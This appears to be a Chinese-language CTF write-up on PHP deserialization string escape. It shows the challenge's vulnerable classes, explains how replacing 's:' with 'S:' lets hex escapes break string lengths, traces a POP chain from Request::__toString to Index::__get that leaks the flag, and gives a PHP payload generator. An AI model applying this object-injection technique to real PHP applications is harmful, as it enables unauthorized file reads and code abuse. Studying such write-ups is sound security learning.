從某道CTF題學習PHP反序列化字串逃逸

問題在Service.class.php

<?php
class Service{

    public $_if_action=true;
    public $post;
    public $view;

    public function __construct($config){
        $this->view=$config['view'];
        $this->post=$config['post'];
    }

    public function index(){
        $serialize_data=serialize($this->post);
        if(santi($serialize_data)){
            $data = unserialize(preg_replace('/s:/', 'S:', $serialize_data));
            $this->view->user_view($data['Location']);
        }else{
            $this->view->user_view("Bad strings.");
        }
    }

    public function __call($function, $arg){
        return file_get_contents('/flag');
    }
}

$config['post']Request.class.php獲得:

<?php
class Request
{
    public $config;
    public $hhhhh;
    public $hhhh;

    function __construct(){
        $this->config['post']=$_POST;
        $this->config['get']=$_GET;
        $this->config['input']=file_get_contents('php://input');
        $this->config['headers']=apache_request_headers();
    }


    public function __destruct(){
        echo $this->hhhh.'';
    }

    public function __toString(){
        return $this->hhhhh->b;
    }

    public function __wakeup(){

    }
}

程式由$_POST先進行序列化,然後把字串的s換成S,最後再反序列化成陣列,並丟到user_view去執行。

    public function user_view($text, $flag=False){
        if($flag){
            if($this->return_string!=='False'?$this->return_string:False){
                echo "Hello,".$this->return_string."!","You have made an appointment successfully!";
            }elseif(!empty($text)){
                echo $text;
            }else{
                echo "";
            }
        }else{
            $this->return_string = $text;
        }
    }

user_view會先進去else分支,把$text賦值到$return_string,然後Init.class.php會以$flag = True再執行一次。

尋找POP鏈:

Index.class.php中存在一些魔法函數:

<?php
class Index{
    public $view;
    public $_if_action=True;
    public $file;

    public function __construct($config){
        $this->view=$config['view'];
    }

    public function index(){
        $this->view->html('home');
    }

    public function __call($function_name, $function_arg){
        $this->view->html("$function_name");
    }

    public function __get($name){
        return "flag{i am flag}";
//        return file_get_contents('/flag');
    }

    public function __toString(){
        print("Index __toString");
        if($this->file=='/flag'){
            return file_get_contents($this->file);
        }
        return '';
    }

    public function __wakeup(){
        $this->file='/hint';
    }
}

user_view會使用echo,可以觸發Request__toString,然後會訪問不存在的變數,可以再觸發Index__get,就能把flag印出來了。

調用鏈:

user_view->echo <-- Request::__toString <-- Index::__get

字串逃逸:

程式將字串標示符改成S,就能夠支援16進位的字串,所以可以利用這個特性去吃掉後面的字:

a=xxxx\00\00\00\00&;

在一開始序列化時,a的長度是16,換成16進位後長度就變成8,後面的8位就會被當成a這個字串,就能bypass。

最後Payload:

<?php
class Index{
    public $view;

    public function __construct($config){
        $this->view=$config['view'];
    }
}

class Request
{
    public $config;
    public $hhhhh;
}

$index = new Index(["view"=>""]);
$request = new Request();
$request->hhhhh = $index;
$request->config = [];
echo (serialize($request));

參考:

https://www.cnblogs.com/bmjoker/p/13742666.html

https://blog.csdn.net/qq_45521281/article/details/107135706

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *